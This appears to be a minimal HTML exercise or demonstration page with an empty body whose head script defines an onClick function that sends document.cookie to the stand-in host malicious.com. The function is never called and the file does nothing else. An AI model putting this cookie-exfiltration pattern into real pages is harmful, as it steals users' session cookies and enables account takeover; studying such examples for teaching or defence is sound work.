<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <script src="xxxxxx.js">
        function onClick(){
            let url = `http://malicious.com?cookie=${document.cookie}`
            open(url)
        }
    </script>
    <title>Document</title>
</head>
<body>
    
</body>
</html>